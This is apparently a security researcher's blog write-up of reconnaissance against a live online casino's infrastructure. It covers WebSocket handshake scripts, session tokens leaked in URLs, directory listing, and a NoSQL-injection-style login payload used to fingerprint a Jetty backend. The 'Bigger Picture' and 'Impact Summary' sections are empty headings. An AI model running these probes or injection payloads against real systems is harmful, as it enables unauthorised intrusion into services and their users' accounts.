0x00 — Prologue: A Single Intercept#

It all started with one simple request while I was browsing a live casino client portal. Burp Suite caught this:

1
GET /ws HTTP/1.1
2
Host: dga.dkitrxmdwoqruvsi.net
3
Connection: Upgrade
4
Upgrade: websocket
5
Origin: https://client.dkitrxmdwoqruvsi.net
6
Sec-WebSocket-Version: 13
7
Sec-WebSocket-Key: oRRH9vs2xQP9GEC6oioO4w==
8
Cookie: AWSALB=...; AWSALBCORS=...

A WebSocket handshake. But the interesting part wasn’t the Sec-WebSocket-Key — that’s just an RFC 6455 nonce. What caught my eye was the exposed endpoint with a full session cookie, and the fact that there were other subdomains pointing to a deeper infrastructure.

0x01 — Phase 1: WebSocket Reconnaissance#

First attempts with websocat and openssl failed — the server required a valid Origin header and session cookie. After some trial and error, a Python script finally completed the handshake:

1
import websocket, ssl
2

3
ws = websocket.WebSocket(sslopt={"cert_reqs": ssl.CERT_NONE})
4
ws.connect(
5
    "wss://dga.dkitrxmdwoqruvsi.net/ws",
6
    header=["Origin: https://client.dkitrxmdwoqruvsi.net"],
7
    cookie="JSESSIONID=..."
8
)
9
ws.send('{"type":"ping"}')
10
print(ws.recv())
11
# {"pongTime":1781999879654,"pingTime":0}

1
ws.connect("wss://chat.dkitrxmdwoqruvsi.net/chat", ...)
2
ws.send('{"action":"ping"}')
3
# {"action":"PONG","status":"SUCCESS","userId":"null","role":"null","pongtime":...}

0x02 — Phase 2: The URL Goldmine#

Looking closer at the browser URL bar, I found something alarming. The client portal query parameters contained sensitive data that should never be in a URL:

1
https://games.dkitrxmdwoqruvsi.net/...&config_url=/cgibin/appconfig/xml/configs/urls.xml
2
&JSESSIONID=vWhhhigmpIj5tOA0Y3K8bjdbkr6eu3B3OikeOlkl0pkXe1B-5ByJ!...
3
&userId=ppc1735045641964
4
&socket_server=wss://games.dkitrxmdwoqruvsi.net/game
5
&token=...
6
&stats_collector_uuid=328e5abc-17f0-49f3-8eb0-0ed92fd9e1d1

0x03 — Phase 3: Unauthenticated Manifest & CORS#

Following the config_url parameter, I tried direct access:

1
curl -s "https://client.dkitrxmdwoqruvsi.net/apps/feature-flags/1.0.0/lobby.manifest.json"

Response:

1
{
2
  "game": [{"version": "3.83.0"}],
3
  "defaultFeaturedGames": [{"value": ["270", "292", "204"]}],
4
  "heroBannerVideo": [{"enabled": true}],
5
  "gameAssetsBaseUrl": [{"value": ""}],
6
  "newComms": [{"enabled": true}],
7
  "slotsCurrencyNewFormat": [{"enabled": true}]
8
}

0x04 — Phase 4: Directory Listing & Source Code Exposure#

Reconnaissance continued to the games. subdomain — and that’s where the door opened wider.

1
curl -s "https://games.dkitrxmdwoqruvsi.net/authentication/" | grep 'href="'

Output:

1
/authentication/../
2
/authentication/authenticate.jsp
3
/authentication/logout.jsp
4
/authentication/request.js
5
/authentication/xlg_BO_footer.png
6
/authentication/xlg_BO_footer_over.png
7
jetty-dir.css

0x05 — Phase 5: Backend Fingerprinting — The Jetty Revelation#

I tried sending an invalid JSON payload to the login API:

1
curl -s -X POST "https://games.dkitrxmdwoqruvsi.net/api/security/portal/login" \
2
  -H "Content-Type: application/json" \
3
  -d '{"username":{"$ne":null},"pass":{"$ne":null},"time":1234567890}'

The response was a goldmine:

1
Can not deserialize instance of java.lang.String out of START_OBJECT token
2
 at [Source: HttpInput@627799400 cs=HttpChannelState@4543fddc...
3
 cp=org.eclipse.jetty.ee8.nested.BlockingContentProducer@49b2d60f...
4
 (through reference chain: com.extremelivegaming.api.security.vo.LoginVO["username"])

0x06 — Phase 6: The Bigger Picture#

From all findings, the target architecture became clear:

0x07 — Impact Summary#

0x08 — Takeaways & Lessons Learned#

• WebSocket is not just “real-time chat” — it’s often a gateway to deeper backend logic. Never skip WS recon.
• URL parameters are the enemy — always inspect query strings in intercepts; credentials often “stick” there.
• Directory listing is still alive in 2026 — /authentication/ with jetty-dir.css is proof that classic misconfigs never die.
• Error messages are gold — one invalid JSON payload opened the entire backend stack (org.eclipse.jetty.ee8, com.extremelivegaming).
• Don’t chase CVEs blindly — this target wasn’t Next.js, wasn’t Spring Boot (despite similar-looking errors), but Jetty EE8 + custom Java stack. Match the CVE to the stack.

0x09 — Responsible Disclosure#

All findings were documented with:

• Screenshots of requests and responses
• cURL commands for reproducibility
• Testing timeline (June 2026)
• Per-finding impact assessment

Note: No exploitation beyond proof-of-concept was performed. No game state manipulation, betting interference, or unauthorized data access was attempted. All testing stayed within the scope of security research.

Thanks for reading. If you have feedback or corrections, feel free to reach out. Happy hacking! 🎯